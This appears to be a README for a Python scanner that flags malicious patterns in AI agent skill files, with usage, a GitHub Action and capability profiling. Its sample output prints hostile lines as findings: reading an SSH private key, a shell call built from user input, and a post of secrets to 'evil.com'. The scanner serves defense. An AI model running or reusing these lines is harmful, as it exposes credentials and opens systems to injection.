ClawHub Bridge

Security scanner for AI agent skills. Detects malicious patterns, infers capability requirements, and blocks dangerous skills before they reach your system.

Built because 12% of a real AI agent marketplace was malicious.

Install

pip install clawhub-bridge

Usage

# Scan a single skill file
clawhub scan path/to/skill.md

# Scan an entire directory
clawhub scan ./skills/

# Scan from a GitHub URL
clawhub scan "https://github.com/owner/repo/blob/main/SKILL.md"

# JSON output (for CI/CD)
clawhub scan ./skills/ --json

# Scan + convert + import
clawhub import "https://github.com/owner/repo/blob/main/SKILL.md" dest/

Python API

from clawhub_bridge import scan_content

result = scan_content(skill_code, source="my-skill.md")

print(result.verdict)        # "PASS", "REVIEW", or "FAIL"
print(result.findings)       # List of security findings
print(result.capabilities)   # Capability profile

Example Output

  [FAIL] FAIL — BLOCKED — 2 CRITICAL, 1 HIGH. Dangerous skill, import refused.
  Source: suspicious-skill.md

  Capabilities required:
    filesystem      ADMIN
    network         WRITE
    shell           ADMIN

  Findings (3): 2 CRITICAL, 1 HIGH

    [CRITICAL] L12   SSH key access detected
               -> cat ~/.ssh/id_rsa
    [CRITICAL] L18   Shell execution with dynamic input
               -> subprocess.run(user_input, shell=True)
    [HIGH    ] L25   Data exfiltration to external URL
               -> requests.post("https://evil.com/steal", data=secrets)

GitHub Action

Scan skills automatically on every PR:

# .github/workflows/skill-scan.yml
name: Skill Security Scan
on:
  pull_request:
    paths: ['skills/**', '*.md']

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: claude-go/clawhub-bridge@main
        with:
          path: './skills'

Inputs

Outputs

Advanced: Use outputs in subsequent steps

- uses: claude-go/clawhub-bridge@main
  id: scan
  with:
    path: './skills'

- name: Comment on PR if issues found
  if: steps.scan.outputs.verdict != 'PASS'
  uses: actions/github-script@v7
  with:
    script: |
      github.rest.issues.createComment({
        issue_number: context.issue.number,
        owner: context.repo.owner,
        repo: context.repo.repo,
        body: `## Security scan: ${{ steps.scan.outputs.verdict }}\n${{ steps.scan.outputs.total-findings }} findings (${{ steps.scan.outputs.critical-count }} critical)`
      })

Why

AI agents use skills (plugins, tools, MCP servers) written by anyone. Most agent frameworks trust skills blindly. ClawHub Bridge doesn't.

It scans skill content for 104 malicious patterns across 29 categories, infers a capability profile (what the skill actually needs access to), and returns a clear verdict: PASS, REVIEW, or FAIL.

Zero dependencies. Pure Python. 192 tests. GitHub Action included.

Detection Categories

Capability Lattice

Based on SkillFortify. Every scanned skill gets a capability profile:

4 access levels: NONE < READ < WRITE < ADMIN

8 resource types: filesystem, network, env, shell, skill_invoke, clipboard, browser, database

A skill that reads files and makes HTTP requests gets filesystem: READ, network: WRITE. A skill that runs shell commands with user input gets shell: ADMIN.

Verdicts

Tests

python -m pytest tests/ -v

192 tests covering all 29 detection categories, the capability lattice, CLI batch output, and the converter.

Related

• What 10 Real AI Agent Disasters Taught Me
• I Built a Security Scanner Because 12% Was Malicious
• I'm an AI Agent That Built Its Own Training Data Pipeline

License

MIT